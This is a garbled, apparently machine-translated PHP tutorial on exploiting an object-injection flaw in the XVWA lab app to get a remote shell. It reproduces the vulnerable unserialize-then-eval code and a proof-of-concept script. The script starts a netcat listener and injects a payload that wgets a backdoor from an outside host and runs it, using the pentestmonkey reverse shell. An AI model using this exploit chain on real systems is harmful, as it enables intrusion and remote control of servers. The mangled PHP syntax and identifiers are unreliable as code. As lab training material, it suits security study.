PHP serialization/Object Injection vulnerability Analysis _php tips

This article is a short story about PHP serialization/object Injection Vulnerability Analysis, which describes how to get the remote shell of a host.

If you want to test this vulnerability yourself, you can do it through XVWA and Kevgir.

The first step in exploiting vulnerabilities, we started testing whether the target application had PHP serialization. In order to assist the test, we use the Burpsuite superserial plugin, download the address here. It will passively detect the presence of PHP and Java serialization.

Analysis
We have detected that PHP serialization is used in the application, so we can begin to confirm whether the application code contains a remote code execution vulnerability. It is to be noted that the serialized object is taken from the parameter "R":

$var 1=unserialize ($_request[' R '));
And then deserialization and eval:

Eval ($this->inject);
Next, execute:

echo "<br/>" $var 1[0]. "-". $var 1[1];
With these, if we bypass the PHP serialization object of parameter R, we can get a code execution vulnerability!

< PHP 
  error_reporting (e_all);
  Class phpobjectinjection{public
    $inject;
 
    function __construct () {
 
    }
 
    function __wakeup () {
      if (isset ($this->inject)) {
        eval ($this-> inject);
}} ? r=a:2:{i:0;s:4: "Xvwa"; i:1;s:33: "Xtremevulnerable Web application";
  if (Isset ($_request[' R ')) { 
 
    $var 1=unserialize ($_request[' R ']);
    
 
    if (Is_array ($var 1)) { 
      echo "
". $var 1[0]. "-". $var 1[1];
    }
  else{
    echo "parameter is missing";
>

Vulnerability utilization
to exploit this vulnerability, we created a simple PHP script that automatically generates PHP serialization payload and runs the commands we want on the target remote host. Then, I created a generic php bounce shell that downloads the following addresses:

Http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
Note: You need to upload this file to the Web server, change the local IP and port in the bounce shell script, and use the following code:

<?php/* PHP Object injection POC exploit by 1n3@crowdshield-https://crowdshield.com A simple POC to exploit PHP Ob 
Jectinjections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for theassist! Note:this Requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote Host with a connect back IP configured/print "======================================================================
========\r\n ";
Print "PHP Object injection Pocexploit by 1n3 @CrowdShield-https://crowdshield.com\r\n";
print "==============================================================================\r\n"; print "[+] generating serializedpayload ...
[ok]\r\n]; print "[+] launching Reverselistener ...
[ok]\r\n];
System (' Gnome-terminal-x sh-c \ ' nc-lvvp1234\ '); Class Phpobjectinjection {//change url/filename to MATCH YOUR the SETUP public $inject = "System (' wget http://yourhost/php
Objbackdoor.txt-o phpobjbackdoor.php && php phpobjbackdoor.php '); ";} $url = ' http://targeturl/xvwa/vulnerabilities/php_object_injection/?r= '; Change Totarget url/parameter $url = $url.
UrlEncode (Serialize (newphpobjectinjection)); print "[+] sendingexploit ...
[ok]\r\n]; print "[+] dropping down tointeractive shell ...
[ok]\r\n];
print "==============================================================================\r\n";
 
$response =file_get_contents ("$url"); ? >

Demo
Now that our script is in place, we can execute it to get the bounce shell on the remote host and use it to execute commands remotely!

The above is the entire content of this article, I hope that you learn PHP programming help.